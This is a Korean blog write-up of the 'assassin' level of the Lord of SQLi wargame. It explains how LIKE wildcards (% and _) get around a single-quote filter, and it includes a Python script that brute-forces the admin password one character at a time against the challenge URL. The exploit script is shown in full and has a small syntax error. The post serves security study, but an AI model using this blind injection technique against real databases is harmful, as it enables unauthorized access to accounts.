[WARGAME][los] assassin

jckim22·2022년 11월 26일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
107/114
post-thumbnail

아래는 서버 코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

코드를 보아하니 result id로 admin을 가져와야 한다.

아래 쿼리에 인젝션 할 수 있는데 싱글쿼터가 필터링 되어있기에 쿼터를 사용한 우회는 힘들 것으로 보인다.

select id from prob_assassin where pw like ''

하지만 like라는 취약한 구문을 사용하고 있다.
like에서는 %와 _가 있는데 전자는 길이에 상관없이 모든 문자이고 후자는 한 글자를 뜻한다.

예시로 %a% 이면 앞뒤로 뭐가 오든 a가 있는 문자열이고 _a는 a앞에 임의 문자 한 글자를 뜻한다.

처음에는 정말 쉽게 다가갔다.
%x%로 x에 48~127까지 모든 문자를 대입하면 admin 고유의 패스워드를 구할 수 있을 것이라고 생각했다.

아래처럼 guest의 pw에는 1이라는 문자가 들어가는 것을 알 수 있었다.

그렇게 코드를 짜서 아래처럼 돌렸는데...

Hello admin은 나오지 않았다.

body text를 출력해보아도 Hello guest만 있었다.

Hello guest가 admin보다 row에서 위에 출력되겠다는 생각이 드는 순간 guset와 admin의 문자들은 똑같을 것이라고 생각이 들었다.

다만 순서가 다른 것이다.

그럼 x%로 하나씩 추가해가면서 순서를 맞추고 admin 고유의 문자열 순서가 맞는 순간 Hello admin을 출력하게 될 것이다.

아래는 내가 짠 최종 익스플로잇이다.

import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"


cookies={
    'PHPSESSID':''
}
pw=""
boolean=False
while(True):
    for i in range(48,128):
        params={
            'pw':f'{pw+chr(i)}%'
        }

        res=requests.get(url,params=params,cookies=cookies)
        print(f"try : {pw+chr(i)} ......")

        if "Hello guest" in res.text:
            pw+=chr(i)
            print(f"pw like = {pw}")
            break
        elif "Hello admin" in res.text:
            pw+=chr(i)
            boolean=True
            break
    if(boolean)
        break

print(f"password : {pw}")
    

간단한 코드이지만 설명해보면 그냥 Hello guest가 뜰 때마다 누적으로 pw에 추가해줘서 pw%로 반복적으로 요청을 보내는 코드이다.

실행결과는 아래와 같다.

90까지는 똑같다가 902부터 순서가 admin의 고유 순서가 되어서 Hello admin이 출력되어 반복문이 종료된다.

이미 웹페이지상 Hello admin이 떴기 떄문에 아래처럼 assassin은 클리어 되어 있다.

그래도 아래처럼 902%를 직접 대입해보면 클리어할 수 있다.

profile
개발/보안

0개의 댓글